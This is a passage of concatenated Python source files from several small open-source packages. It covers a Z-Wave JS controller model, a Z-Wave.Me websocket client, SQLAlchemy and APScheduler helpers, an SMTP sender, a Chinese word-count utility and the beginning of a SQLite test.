whether the controller supports the input feature. """ data = await self.client.async_send_command( {"command": "controller.supports_feature", "feature": feature.value}, require_schema=12, ) return cast(bool | None, data.get("supported")) async def async_get_state(self) -> ControllerDataType: """Get controller state.""" data = await self.client.async_send_command( {"command": "controller.get_state"}, require_schema=14 ) return cast(ControllerDataType, data["state"]) async def async_backup_nvm_raw(self) -> bytes: """Send backupNVMRaw command to Controller.""" data = await self.client.async_send_command( {"command": "controller.backup_nvm_raw"}, require_schema=14 ) return convert_base64_to_bytes(data["nvmData"]) async def async_restore_nvm(self, file: bytes) -> None: """Send restoreNVM command to Controller.""" await self.client.async_send_command( { "command": "controller.restore_nvm", "nvmData": convert_bytes_to_base64(file), }, require_schema=14, ) async def async_get_power_level(self) -> dict[str, int]: """Send getPowerlevel command to Controller.""" data = await self.client.async_send_command( {"command": "controller.get_powerlevel"}, require_schema=14 ) return { "power_level": data["powerlevel"], "measured_0_dbm": data["measured0dBm"], } async def async_set_power_level( self, power_level: int, measured_0_dbm: int ) -> bool: """Send setPowerlevel command to Controller.""" data = await self.client.async_send_command( { "command": "controller.set_powerlevel", "powerlevel": power_level, "measured0dBm": measured_0_dbm, }, require_schema=14, ) return cast(bool, data["success"]) async def async_get_rf_region(self) -> RFRegion: """Send getRFRegion command to Controller.""" data = await self.client.async_send_command( {"command": "controller.get_rf_region"}, require_schema=14 ) return RFRegion(data["region"]) async def async_set_rf_region(self, rf_region: RFRegion) -> bool: """Send setRFRegion command to Controller.""" data = await self.client.async_send_command( { "command": "controller.set_rf_region", "region": rf_region.value, }, require_schema=14, ) return cast(bool, data["success"]) async def async_get_known_lifeline_routes( self, ) -> dict[Node, ControllerLifelineRoutes]: """Send getKnownLifelineRoutes command to Controller.""" data = await self.client.async_send_command( {"command": "controller.get_known_lifeline_routes"}, require_schema=16 ) return { self.nodes[node_id]: ControllerLifelineRoutes(self.client, lifeline_routes) for node_id, lifeline_routes in data["routes"].items() } async def async_is_any_ota_firmware_update_in_progress(self) -> bool: """ Send isAnyOTAFirmwareUpdateInProgress command to Controller. If `True`, a firmware update is in progress on at least one node. """ data = await self.client.async_send_command( {"command": "controller.is_any_ota_firmware_update_in_progress"}, require_schema=21, ) assert data return cast(bool, data["progress"]) async def async_get_available_firmware_updates( self, node: Node, api_key: str, include_prereleases: bool = False ) -> list[NodeFirmwareUpdateInfo]: """Send getAvailableFirmwareUpdates command to Controller.""" data = await self.client.async_send_command( { "command": "controller.get_available_firmware_updates", "nodeId": node.node_id, "apiKey": api_key, "includePrereleases": include_prereleases, }, require_schema=24, ) assert data return [NodeFirmwareUpdateInfo.from_dict(update) for update in data["updates"]] async def async_firmware_update_ota( self, node: Node, updates: list[NodeFirmwareUpdateFileInfo] ) -> NodeFirmwareUpdateResult: """Send firmwareUpdateOTA command to Controller.""" data = await self.client.async_send_command( { "command": "controller.firmware_update_ota", "nodeId": node.node_id, "updates": [update.to_dict() for update in updates], }, require_schema=29, ) return NodeFirmwareUpdateResult(node, data["result"]) async def async_is_firmware_update_in_progress(self) -> bool: """Send isFirmwareUpdateInProgress command to Controller.""" data = await self.client.async_send_command( {"command": "controller.is_firmware_update_in_progress"}, require_schema=26 ) return cast(bool, data["progress"]) def receive_event(self, event: Event) -> None: """Receive an event.""" if event.data["source"] == "node": node = self.nodes.get(event.data["nodeId"]) if node is None: # TODO handle event for unknown node pass else: node.receive_event(event) return if event.data["source"] != "controller": # TODO decide what to do here print( f"Controller doesn't know how to handle/forward this event: {event.data}" ) CONTROLLER_EVENT_MODEL_MAP[event.type](**event.data) self._handle_event_protocol(event) event.data["controller"] = self self.emit(event.type, event.data) def handle_firmware_update_progress(self, event: Event) -> None: """Process a firmware update progress event.""" self._firmware_update_progress = event.data[ "firmware_update_progress" ] = ControllerFirmwareUpdateProgress(event.data["progress"]) def handle_firmware_update_finished(self, event: Event) -> None: """Process a firmware update finished event.""" self._firmware_update_progress = None event.data["firmware_update_finished"] = ControllerFirmwareUpdateResult( event.data["result"] ) def handle_inclusion_failed(self, event: Event) -> None: """Process an inclusion failed event.""" def handle_exclusion_failed(self, event: Event) -> None: """Process an exclusion failed event.""" def handle_inclusion_started(self, event: Event) -> None: """Process an inclusion started event.""" def handle_exclusion_started(self, event: Event) -> None: """Process an exclusion started event.""" def handle_inclusion_stopped(self, event: Event) -> None: """Process an inclusion stopped event.""" def handle_exclusion_stopped(self, event: Event) -> None: """Process an exclusion stopped event.""" def handle_node_found(self, event: Event) -> None: """Process a node found event.""" def handle_node_added(self, event: Event) -> None: """Process a node added event.""" node = event.data["node"] = Node(self.client, event.data["node"]) self.nodes[node.node_id] = node def handle_node_removed(self, event: Event) -> None: """Process a node removed event.""" event.data["reason"] = RemoveNodeReason(event.data["reason"]) event.data["node"] = self.nodes.pop(event.data["node"]["nodeId"]) # Remove client from node since it's no longer connected to the controller event.data["node"].client = None def handle_heal_network_progress(self, event: Event) -> None: """Process a heal network progress event.""" self._heal_network_progress = event.data["progress"].copy() self.data["isHealNetworkActive"] = True def handle_heal_network_done(self, event: Event) -> None: """Process a heal network done event.""" # pylint: disable=unused-argument self._heal_network_progress = None self.data["isHealNetworkActive"] = False def handle_statistics_updated(self, event: Event) -> None: """Process a statistics updated event.""" self.data["statistics"] = statistics = event.data["statistics"] self._statistics = event.data["statistics_updated"] = ControllerStatistics( statistics ) def handle_grant_security_classes(self, event: Event) -> None: """Process a grant security classes event.""" event.data["requested_grant"] = InclusionGrant.from_dict( event.data["requested"] ) def handle_validate_dsk_and_enter_pin(self, event: Event) -> None: """Process a validate dsk and enter pin event.""" def handle_inclusion_aborted(self, event: Event) -> None: """Process an inclusion aborted event.""" def handle_nvm_backup_progress(self, event: Event) -> None: """Process a nvm backup progress event.""" event.data["nvm_backup_progress"] = NVMProgress( event.data["bytesRead"], event.data["total"] ) def handle_nvm_convert_progress(self, event: Event) -> None: """Process a nvm convert progress event.""" event.data["nvm_convert_progress"] = NVMProgress( event.data["bytesRead"], event.data["total"] ) def handle_nvm_restore_progress(self, event: Event) -> None: """Process a nvm restore progress event.""" event.data["nvm_restore_progress"] = NVMProgress( event.data["bytesWritten"], event.data["total"] ) def handle_identify(self, event: Event) -> None: """Process an identify event.""" # TODO handle event for unknown node if node := self.nodes.get(event.data["nodeId"]): event.data["node"] = node def handle_status_changed(self, event: Event) -> None: """Process a status changed event.""" self.data["status"] = event.data["status"] event.data["status"] = ControllerStatus(event.data["status"])
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/controller/__init__.py
__init__.py
import asyncio import json import threading import time import websocket class WebsocketListener(threading.Thread, websocket.WebSocketApp): def __init__( self, ZWaveMe, on_message=None, on_error=None, on_close=None, token=None, url=None, ): self._ZWaveMe = ZWaveMe threading.Thread.__init__(self) websocket.WebSocketApp.__init__( self, url, header={"Authorization": "Bearer " + token if token else ""}, on_open=self.on_open, on_error=on_error, on_message=on_message, on_close=on_close, ) self.connected = False self.last_update = time.time() async def connect(self): while not self.connected: await asyncio.sleep(0.1) return self.connected def on_open(self, *args): self.connected = True self.last_update = time.time() self.send( json.dumps( { "event": "httpEncapsulatedRequest", "responseEvent": "get_devices", "data": {"method": "GET", "url": "/ZAutomation/api/v1/devices"}, } ) ) def run_forever( self, sockopt=None, sslopt=None, ping_interval=0, ping_timeout=None, **kwargs ): websocket.WebSocketApp.run_forever( self, sockopt=sockopt, sslopt=sslopt, ping_interval=ping_interval, ping_timeout=ping_timeout, **kwargs )
zwave-me-ws
/zwave_me_ws-0.4.3-py3-none-any.whl/zwave_me_ws/WebsocketListener.py
WebsocketListener.py
import asyncio import json import threading import time from .helpers import prepare_devices from .WebsocketListener import WebsocketListener class ZWaveMe: """Main controller class""" def __init__( self, url, token=None, on_device_create=None, on_device_update=None, on_device_remove=None, on_device_destroy=None, on_new_device=None, platforms=None, ): self.on_device_create = on_device_create self.on_device_update = on_device_update self.on_device_remove = on_device_remove self.on_device_destroy = on_device_destroy self.on_new_device = on_new_device self.url = url self.token = token self.platforms = platforms self._ws = None self._wshost = None self.thread = None self.devices = [] self.uuid = None self.is_closed = False def start_ws(self): """Launch thread.""" self.thread = threading.Thread(target=self.init_websocket) self.thread.daemon = True self.thread.start() async def get_connection(self): """verify connection""" loop = asyncio.get_event_loop() await loop.run_in_executor(None, self.start_ws) try: await asyncio.wait_for(self._ws.connect(), timeout=10.0) return True except asyncio.TimeoutError: await self.close_ws() return False async def wait_for_info(self): while not self.uuid: await asyncio.sleep(0.1) return self.uuid async def close_ws(self): loop = asyncio.get_event_loop() self.is_closed = True blocking_tasks = [ loop.run_in_executor(None, self.thread.join), loop.run_in_executor(None, self._ws.close), ] await asyncio.wait(blocking_tasks) async def get_uuid(self): """Get uuid info""" loop = asyncio.get_event_loop() loop.run_in_executor(None, self.get_info) try: await asyncio.wait_for(self.wait_for_info(), timeout=5.0) return self.uuid except asyncio.TimeoutError: return def send_command(self, device_id, command): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "data": { "method": "GET", "url": "/ZAutomation/api/v1/devices/{}/command/{}".format( device_id, command ), }, } ) ) def get_devices(self): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "responseEvent": "get_devices", "data": {"method": "GET", "url": "/ZAutomation/api/v1/devices"}, } ) ) def get_device_info(self, device_id): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "responseEvent": "get_device_info", "data": { "method": "GET", "url": "/ZAutomation/api/v1/devices/{}".format(device_id), }, } ) ) def get_info(self): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "responseEvent": "get_info", "data": { "method": "GET", "url": "/ZAutomation/api/v1/system/first-access", }, } ) ) def init_websocket(self): # keep websocket open indefinitely while True: if self.is_closed: return self._ws = WebsocketListener( ZWaveMe=self, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, token=self.token, url=self.url, ) try: self._ws.run_forever(ping_interval=5) finally: self._ws.close() time.sleep(5) def on_message(self, _, utf): if utf: dict_data = json.loads(utf) if "type" not in dict_data.keys(): return try: if dict_data["type"] == "get_devices": if "data" not in dict_data or "body" not in dict_data["data"]: return body = json.loads(dict_data["data"]["body"]) if "devices" in body["data"]: self.devices = prepare_devices([ device for device in body["data"]["devices"] if device["deviceType"] in self.platforms ]) if self.on_device_create: self.on_device_create(self.devices) elif dict_data["type"] == "get_device_info": if "data" not in dict_data or "body" not in dict_data["data"]: return body = json.loads(dict_data["data"]["body"]) if "id" in body["data"]: new_device = prepare_devices( [ body["data"], ] )[0] if self.on_new_device: self.on_new_device(new_device) elif dict_data["type"] == "me.z-wave.devices.level": device = prepare_devices( [ dict_data["data"], ] )[0] if device.deviceType == "sensorMultilevel": device.level = str( round(float(dict_data["data"]["metrics"]["level"]), 1) ) if self.on_device_update: self.on_device_update(device) elif dict_data["type"] == "me.z-wave.namespaces.update": for data in dict_data["data"]: if data["id"] == "devices_all": new_devices = [x["deviceId"] for x in data["params"]] devices_to_install = set(new_devices) - set( [x["id"] for x in self.devices] ) for device in devices_to_install: self.get_device_info(device) elif dict_data["type"] == "get_info": uuid = json.loads(dict_data["data"]["body"])["data"]["uuid"] if uuid and uuid is not None: self.uuid = uuid elif dict_data["type"] == "me.z-wave.devices.remove": if self.on_device_remove: self.on_device_remove(dict_data["data"]) elif dict_data["type"] == "me.z-wave.devices.wipe": if self.on_device_destroy: self.on_device_destroy(dict_data["data"]) except Exception as e: pass def on_error(self, *args, **kwargs): error = args[-1] def on_close(self, _, *args): self._ws.connected = False def get_ws(self): return self._ws def get_wshost(self): return self._wshost
zwave-me-ws
/zwave_me_ws-0.4.3-py3-none-any.whl/zwave_me_ws/ZWaveMe.py
ZWaveMe.py
from dataclasses import dataclass, field from typing import Union FIELDS = [ "id", "deviceType", "probeType", "locationName", "manufacturer", "firmware", "tags", "creatorId", "nodeId", ] METRICS_SCALE = ["title", "level", "scaleTitle", "min", "max", "color", "isFailed"] TYPE_TAGS = { 'type-sensor-binary': "sensorBinary", 'type-light': "lightMultilevel", 'type-button': "toggleButton", 'type-thermostat': "thermostat", 'type-motor': "motor", 'type-fan': "fan", 'type-doorlock': "doorlock", 'type-number': "switchMultilevel", 'type-switch': "switchBinary", 'type-sensor': "sensorMultilevel", 'type-siren': "siren", } @dataclass class ZWaveMeData: id: str deviceType: str title: str level: Union[str, int, float] deviceIdentifier: str probeType: str = "" scaleTitle: str = "" min: str = "" max: str = "" color: dict = field(default_factory=dict) isFailed: bool = False locationName: str = "" manufacturer: str = "" firmware: str = "" tags: list[str] = field(default_factory=list) nodeId: str = "" creatorId: str = "" def prepare_devices(devices: list[dict]) -> list[ZWaveMeData]: prepared_devices = [] for device in devices: if device['permanently_hidden']: continue prepared_device = { **{key: device[key] for key in FIELDS if key in device}, **{ key: device["metrics"][key] for key in METRICS_SCALE if key in device["metrics"] }, } prepared_device = set_device_type(prepared_device) if prepared_device["deviceType"] == "motor": if prepared_device["level"] == "off": prepared_device["level"] = 0 if prepared_device["level"] == "on": prepared_device["level"] = 99.0 prepared_device["level"] = float(prepared_device["level"]) if "creatorId" in prepared_device and "nodeId" in prepared_device: prepared_device[ "deviceIdentifier" ] = f"{prepared_device['creatorId']}_{prepared_device['nodeId']}" else: prepared_device["deviceIdentifier"] = prepared_device["id"] prepared_devices.append(prepared_device) return [ZWaveMeData(**d) for d in prepared_devices] def set_device_type(prepared_device): if prepared_device["probeType"] == "siren": prepared_device["deviceType"] = "siren" if prepared_device["tags"]: for tag in prepared_device["tags"]: if tag in TYPE_TAGS: prepared_device["deviceType"] = TYPE_TAGS[tag] prepared_device = set_value_by_device_type(prepared_device) return prepared_device if prepared_device["probeType"] == "motor": prepared_device["deviceType"] = "motor" elif prepared_device["probeType"] == "fan": prepared_device["deviceType"] = "fan" elif prepared_device['deviceType'] == 'sensorMultilevel': if prepared_device["probeType"] == "light": prepared_device['deviceType'] = 'lightMultilevel' prepared_device = set_light_level(prepared_device) elif prepared_device['deviceType'] == 'switchMultilevel': prepared_device['deviceType'] = 'lightMultilevel' prepared_device = set_light_level(prepared_device) elif 'alarm' in prepared_device["probeType"]: prepared_device["deviceType"] = "sensorBinary" prepared_device = set_value_by_device_type(prepared_device) return prepared_device def set_value_by_device_type(prepared_device) -> dict: if prepared_device['deviceType'] == "sensorBinary": if prepared_device['level'] in ('on', 'off'): return prepared_device elif prepared_device['level'] in ('open', 'close'): prepared_device['level'] = {'open': 'off', 'close': 'on'}[prepared_device['level']] else: prepared_device['level'] = 'on' if bool(prepared_device['level']) else 'off' elif prepared_device['deviceType'] == 'lightMultilevel': prepared_device = set_light_level(prepared_device) elif prepared_device['deviceType'] == 'toggleButton': return prepared_device elif prepared_device['deviceType'] == 'thermostat': if str(prepared_device['level']).replace('.', '', 1).isdigit(): return prepared_device elif prepared_device['level'] == 'on': prepared_device['level'] = 99 elif prepared_device['level'] == 'off': prepared_device['level'] = 0 else: prepared_device['level'] = 99 if bool(prepared_device['level']) else 0 elif prepared_device['deviceType'] == 'motor': if str(prepared_device['level']).replace('.', '', 1).isdigit(): return prepared_device elif prepared_device['level'] == 'on': prepared_device['level'] = 99 elif prepared_device['level'] == 'off': prepared_device['level'] = 0 else: prepared_device['level'] = 99 if bool(prepared_device['level']) else 0 elif prepared_device['deviceType'] == 'fan': if str(prepared_device['level']).replace('.', '', 1).isdigit(): return prepared_device elif prepared_device['level'] == 'on': prepared_device['level'] = 99 elif prepared_device['level'] == 'off': prepared_device['level'] = 0 else: prepared_device['level'] = 99 if bool(prepared_device['level']) else 0 elif prepared_device['deviceType'] == 'doorlock': if prepared_device['level'] in ('open', 'close'): return prepared_device elif prepared_device['level'] in ('on', 'off'): prepared_device['level'] = {'off': 'open', 'on': 'close'}[prepared_device['level']] else: prepared_device['level'] = 'close' if bool(prepared_device['level']) else 'on' elif prepared_device['deviceType'] == 'switchMultilevel': if str(prepared_device['level']).replace('.', '', 1).isdigit(): return prepared_device elif prepared_device['level'] == 'on': prepared_device['level'] = 99 elif prepared_device['level'] == 'off': prepared_device['level'] = 0 else: prepared_device['level'] = 99 if bool(prepared_device['level']) else 0 elif prepared_device['deviceType'] == 'switchBinary': if prepared_device['level'] in ('on', 'off'): return prepared_device elif prepared_device['level'] in ('open', 'close'): prepared_device['level'] = {'open': 'off', 'close': 'on'}[prepared_device['level']] else: prepared_device['level'] = 'on' if bool(prepared_device['level']) else 'off' elif prepared_device['deviceType'] == 'sensorMultilevel': if str(prepared_device['level']).replace('.', '', 1).isdigit(): return prepared_device elif prepared_device['level'] == 'on': prepared_device['level'] = 99 elif prepared_device['level'] == 'off': prepared_device['level'] = 0 else: prepared_device['level'] = 99 if bool(prepared_device['level']) else 0 elif prepared_device['deviceType'] == 'siren': if prepared_device['level'] in ('on', 'off'): return prepared_device elif prepared_device['level'] in ('open', 'close'): prepared_device['level'] = {'open': 'off', 'close': 'on'}[prepared_device['level']] else: prepared_device['level'] = 'on' if bool(prepared_device['level']) else 'off' return prepared_device def set_light_level(prepared_device): if str(prepared_device['level']).replace('.', '', 1).isdigit(): prepared_device["color"] = { "r": round(2.55 * float(prepared_device["level"])), "g": round(2.55 * float(prepared_device["level"])), "b": round(2.55 * float(prepared_device["level"])), } prepared_device["level"] = ( "on" if float(prepared_device["level"]) > 0 else "off" ) elif prepared_device['level'] == 'on': prepared_device["color"] = { "r": 255, "g": 255, "b": 255, } elif prepared_device['level'] == 'off': prepared_device["color"] = { "r": 0, "g": 0, "b": 0, } else: prepared_device['level'] = 'on' if bool(prepared_device['level']) else 'off' if prepared_device['level'] == 'on': prepared_device["color"] = { "r": 255, "g": 255, "b": 255, } elif prepared_device['level'] == 'off': prepared_device["color"] = { "r": 0, "g": 0, "b": 0, } return prepared_device
zwave-me-ws
/zwave_me_ws-0.4.3-py3-none-any.whl/zwave_me_ws/helpers.py
helpers.py
__version__ = "0.4.3" from .helpers import ZWaveMeData from .ZWaveMe import ZWaveMe
zwave-me-ws
/zwave_me_ws-0.4.3-py3-none-any.whl/zwave_me_ws/__init__.py
__init__.py
import subprocess import sys from setuptools import setup if sys.hexversion >= 0x3000000: dispatch_dependency = "pydispatch" else: dispatch_dependency = "Louie-latest" # Try to create an rst long_description from README.md: try: args = 'pandoc', '--to', 'rst', 'README.md' long_description = subprocess.check_output(args) long_description = long_description.decode() except Exception as error: print("WARNING: Couldn't generate long_description - is pandoc installed?") long_description = None setup(name="zwave_mqtt_bridge", version="0.0.3", description="Bridge Z-Wave to MQTT", url="https://github.com/adpeace/zwave-mqtt-bridge.git", author="Andy Peace", author_email="[email protected]", license="MIT", long_description=long_description, classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'License :: OSI Approved :: MIT License', ], scripts=['zwave_mqtt_bridge', 'zwave_emon_republisher'], install_requires=[dispatch_dependency, 'python-openzwave', 'paho-mqtt', 'watchdog'], zip_safe=False, )
zwave-mqtt-bridge
/zwave_mqtt_bridge-0.0.3.tar.gz/zwave_mqtt_bridge-0.0.3/setup.py
setup.py
import json import threading import time import websocket class WebsocketListener(threading.Thread, websocket.WebSocketApp): def __init__( self, ZWaveMe, on_message=None, on_error=None, on_close=None, token=None, url=None, ): self._ZWaveMe = ZWaveMe threading.Thread.__init__(self) websocket.WebSocketApp.__init__( self, url, header={"Authorization": "Bearer " + token}, on_open=self.on_open, on_error=on_error, on_message=on_message, on_close=on_close, ) self.connected = False self.last_update = time.time() def on_open(self, *args): self.connected = True self.last_update = time.time() self.send( json.dumps( { "event": "httpEncapsulatedRequest", "responseEvent": "me.z-wave.get_devices", "data": {"method": "GET", "url": "/ZAutomation/api/v1/devices"} } ) ) def run_forever( self, sockopt=None, sslopt=None, ping_interval=0, ping_timeout=None, **kwargs): websocket.WebSocketApp.run_forever( self, sockopt=sockopt, sslopt=sslopt, ping_interval=ping_interval, ping_timeout=ping_timeout, **kwargs )
zwave-ws
/zwave_ws-0.1.15-py3-none-any.whl/zwave_ws/WebsocketListener.py
WebsocketListener.py
import json import threading from .WebsocketListener import WebsocketListener import time class ZWaveMe: """Main controller class""" def __init__(self, on_device_create, on_device_update, on_new_device, url, token, platforms=None): self.on_device_create = on_device_create self.on_device_update = on_device_update self.on_new_device = on_new_device self.url = url self.token = token self.platforms = platforms self._ws = None self._wshost = None self.start_ws() self.thread = None self.devices = [] def start_ws(self): """get/find the websocket host""" self.thread = threading.Thread(target=self.init_websocket) self.thread.daemon = True self.thread.start() def send_command(self, device_id, command): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "data": { "method": "GET", "url": "/ZAutomation/api/v1/devices/{}/command/{}".format( device_id, command ) } } ) ) def get_device_info(self, device_id): self._ws.send( json.dumps( { "event": "httpEncapsulatedRequest", "data": { "method": "GET", "url": "/ZAutomation/api/v1/devices/{}".format( device_id ) } } ) ) def init_websocket(self): # keep websocket open indefinitely while True: self._ws = WebsocketListener( ZWaveMe=self, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, token=self.token, url=self.url, ) try: self._ws.run_forever(ping_interval=5) finally: self._ws.close() time.sleep(5) def on_message(self, _, utf): if utf: dict_data = json.loads(utf) if "type" not in dict_data.keys(): return try: if dict_data["type"] == "ws-reply": body = json.loads(dict_data["data"]["body"]) if "devices" in body["data"]: self.devices = [ device for device in body["data"]["devices"] if device["deviceType"] in self.platforms ] self.on_device_create(self.devices) elif "id" in body['data']: self.on_new_device(body['data']) elif dict_data["type"] == "me.z-wave.devices.level": self.on_device_update(dict_data["data"]) elif dict_data["type"] == "me.z-wave.namespaces.update": for data in dict_data['data']: if data['id'] == 'devices_all': new_devices = [x['deviceId'] for x in data['params']] devices_to_install = set(new_devices)-set([x['id'] for x in self.devices]) for device in devices_to_install: self.get_device_info(device) except Exception as e: pass def on_error(self, *args, **kwargs): error = args[-1] def on_close(self, _, *args): self._ws.connected = False def get_ws(self): return self._ws def get_wshost(self): return self._wshost
zwave-ws
/zwave_ws-0.1.15-py3-none-any.whl/zwave_ws/ZWaveMe.py
ZWaveMe.py
__version__ = '0.1.0' from .ZWaveMe import ZWaveMe
zwave-ws
/zwave_ws-0.1.15-py3-none-any.whl/zwave_ws/__init__.py
__init__.py
from setuptools import setup, find_packages setup( name="zwb_data", version="1.0.0", keywords=("util"), description="zwb_data", long_description="zwb_data", url="https://github.com/weibin268/zwb_data", author="zhuang weibin", author_email="[email protected]", packages=find_packages(), include_package_data=True, platforms="any", install_requires=["SQLAlchemy==1.3.4","mysql-connector==2.2.9"] )
zwb-data
/zwb_data-1.0.0.tar.gz/zwb_data-1.0.0/setup.py
setup.py
import unittest class TestSQLAlchemy(unittest.TestCase): def test_init(self): print("test!!") if __name__ == '__main__': unittest.main()
zwb-data
/zwb_data-1.0.0.tar.gz/zwb_data-1.0.0/tests/test_sqlalchemy.py
test_sqlalchemy.py
from contextlib import contextmanager from sqlalchemy import Column, String, create_engine from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.declarative import declarative_base class DbClient: def __init__(self, *args, **kwargs): self.engine = create_engine(*args, **kwargs) self.Session = sessionmaker(bind=self.engine) self.Base = declarative_base() def open_session(self): return self.Session() @contextmanager def open_session_scope(self): session = self.open_session() try: yield session session.commit() except: session.rollback() raise finally: session.close() def init(self): self.Base.metadata.create_all(engine) if __name__ == "__main__": db = DbClient("mysql+mysqlconnector://root:[email protected]/demo") class User(db.Base): __tablename__ = 'user' id = Column(String(20), primary_key=True) name = Column(String(20)) with db.open_session_scope() as session: user = User() user.id = "44" user.name = "dd" session.add(user)
zwb-data
/zwb_data-1.0.0.tar.gz/zwb_data-1.0.0/zwb_data/sqlalchemy_utils.py
sqlalchemy_utils.py
from setuptools import setup, find_packages setup( name="zwb_job", version="1.0.0", keywords=("util"), description="zwb_job", long_description="zwb_job", url="https://github.com/weibin268/zwb_job", author="zhuang weibin", author_email="[email protected]", packages=find_packages(), include_package_data=True, platforms="any", install_requires=['APScheduler==3.6.0'] )
zwb-job
/zwb_job-1.0.0.tar.gz/zwb_job-1.0.0/setup.py
setup.py
from apscheduler.schedulers.background import BackgroundScheduler import time def job1(): print("11111") scheduler = BackgroundScheduler() scheduler.add_job(job1, "interval", seconds=1) scheduler.start() @scheduler.scheduled_job("cron", second="*/1", hour="*") def job2(): print("2222") while True: time.sleep(10)
zwb-job
/zwb_job-1.0.0.tar.gz/zwb_job-1.0.0/tests/test_apscheduler.py
test_apscheduler.py
from apscheduler.schedulers.background import BackgroundScheduler, BlockingScheduler import time def get_scheduler(blocking=False): scheduler = None if blocking: scheduler = BlockingScheduler() else: scheduler = BackgroundScheduler() return scheduler if __name__ == "__main__": scheduler = get_scheduler() scheduler.start() def job1(): print("job1") scheduler.add_job(job1, "interval", seconds=1) @scheduler.scheduled_job("cron", second="0/3", hour="*") def job2(): print("job2") while True: time.sleep(1000)
zwb-job
/zwb_job-1.0.0.tar.gz/zwb_job-1.0.0/zwb_job/apscheduler_utils.py
apscheduler_utils.py
from setuptools import setup, find_packages setup( name="zwb_utils", version="1.0.2", keywords=("util"), description="zwb_utils", long_description="zwb_utils", url="https://github.com/weibin268/zwb_utils", author="zhuang weibin", author_email="[email protected]", packages=find_packages(), include_package_data=True, platforms="any", install_requires=[] )
zwb-utils
/zwb_utils-1.0.2.tar.gz/zwb_utils-1.0.2/setup.py
setup.py
import smtplib from email.mime.text import MIMEText from email.header import Header class SmtpClient(object): def __init__(self, host, username, password): self.host = host self.username = username self.password = password def send_text(self, to_addr, subject, text): msg = MIMEText(text, 'plain', 'utf-8') msg['Subject'] = Header(subject, 'utf-8') msg['From'] = self.username msg['To'] = to_addr server = smtplib.SMTP(self.host, 25) server.login(self.username, self.password) server.sendmail(self.username, [to_addr], msg.as_string()) server.quit() if __name__ == "__main__": c = SmtpClient("smtp.139.com", "[email protected]", "") c.send_text("[email protected]", "test", "hello test!!!")
zwb-utils
/zwb_utils-1.0.2.tar.gz/zwb_utils-1.0.2/zwb_utils/email.py
email.py
from distutils.core import setup setup( name='zwb', # 对外我们模块的名字 version='1.0', # 版本号 description='这是第一个对外发布的模块,里面只有数学方法,用于测试哦', #描述 author='zwb', # 作者 author_email='[email protected]', py_modules=['zwb.module01'] # 要发布的模块 )
zwb
/zwb-1.0.tar.gz/zwb-1.0/setup.py
setup.py
#!/usr/bin/env python # encoding: utf-8 """A simple Chinese word count utility. Example 1: $ pip install --upgrade zwc $ zwc < foo.txt $ zwc -E utf-8 < foo.txt Example 2: $ python >>> import zwc >>> zwc.zwc(u'this is a unicode string') """ import re import six import sys import getopt import locale __version__ = '0.3.0' def zwc(string): """Count non-blank characters in a unicode string. The fullwidth space character ( ) is also ignored. e.g. zwc(u'樂土樂土 爰得我所') => 8 """ if not isinstance(string, six.text_type): raise TypeError('zwc requires a unicode string') # remove blank characters visible_chars = re.sub(r'\s+', '', string, flags=re.UNICODE) return len(visible_chars) def show_usage(): print('''Usage: zwc [options] < filename Options: -E, --encoding <enc> Set input character encoding -h, --help Show this help message and exit -v, --version Show version message and exit ''') def show_version(): print('zwc %s' % __version__) def main(): encoding = locale.getpreferredencoding() try: opts, args = getopt.getopt(sys.argv[1:], 'E:hv', ['encoding=', 'help', 'version']) except getopt.GetoptError as e: print(str(e)) exit(2) for o, a in opts: if o in ['-h', '--help']: show_usage() exit() elif o in ['-v', '--version']: show_version() exit() elif o in ['-E', '--encoding']: encoding = a # 从stdin读取原始数据(UTF-8编码) if six.PY2: raw_data = sys.stdin.read() else: raw_data = sys.stdin.buffer.read() Bytes = len(raw_data) # 将原始数据转换成unicode字符串 try: string = raw_data.decode(encoding) Chars = len(string) except Exception as e: print('error: %s' % e) exit(1) # 中文字数统计(不含全角空格) VisChars = zwc(string) # 打印统计结果 print('%d words | %d chars | %d bytes' % (VisChars, Chars, Bytes)) if __name__ == '__main__': main()
zwc
/zwc-0.3.0.tar.gz/zwc-0.3.0/zwc.py
zwc.py
#!/usr/bin/env python # encoding: utf-8 import zwc from setuptools import setup setup( name='zwc', version=zwc.__version__, description='Chinese word count tool', long_description='This is a simple Chinese word count tool that contains a command line program and a Python module.', url='https://github.com/physacco/zwc', author='physacco', author_email='[email protected]', license='MIT', py_modules=['zwc'], entry_points={ 'console_scripts': [ 'zwc = zwc:main' ] }, install_requires=['six'] )
zwc
/zwc-0.3.0.tar.gz/zwc-0.3.0/setup.py
setup.py
import pytest
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/conftest.py
conftest.py
# -*- coding: utf-8 -*- # pylint: disable=redefined-outer-name import pytest from datetime import datetime from zwdb.zwsqlite import ZWSqlite DB_URL = 'file:./data/test.db' SQL_PTH = './data/tbl_create_sqlite.sql' TBLS = ['tbl', 'tbl_create'] RECS_INIT = [ {'txt': 'txt1', 'num': 1, 'dt': datetime.now()}, {'txt': 'txt2', 'num': 2, 'dt': datetime.now()}, {'txt': '3txt', 'num': 3, 'dt': datetime.now()}, ] @pytest.fixture(scope='module') def db(): with ZWSqlite(DB_URL, debug=True) as dbobj: # clean with dbobj.get_connection() as conn: for t in TBLS: conn.execute('DROP TABLE IF EXISTS %s'%t, commit=True) with dbobj.get_connection() as conn: # When create a table that has an INTEGER PRIMARY KEY column, # this column is the alias of the rowid column # which is 64-bit signed integer and auto increment sql = 'CREATE TABLE `%s` ( \ `id` INTEGER PRIMARY KEY, \ `txt` varchar(45) DEFAULT NULL, \ `num` FLOAT NULL,\ `none` VARCHAR(45) NULL,\ `dt` DATETIME NULL\ );' % TBLS[0] sqls = [sql] for t in sqls: conn.execute(t, commit=True) yield dbobj # clean with dbobj.get_connection() as conn: for t in TBLS: conn.execute('DROP TABLE IF EXISTS %s'%t, commit=True) def test_info(db): dbver = db.version dbinfo = db.info assert dbver == dbinfo['sqlite_version'] def test_lists(db): assert len(db.lists())>0 def test_insert(db): tbl = TBLS[0] r = 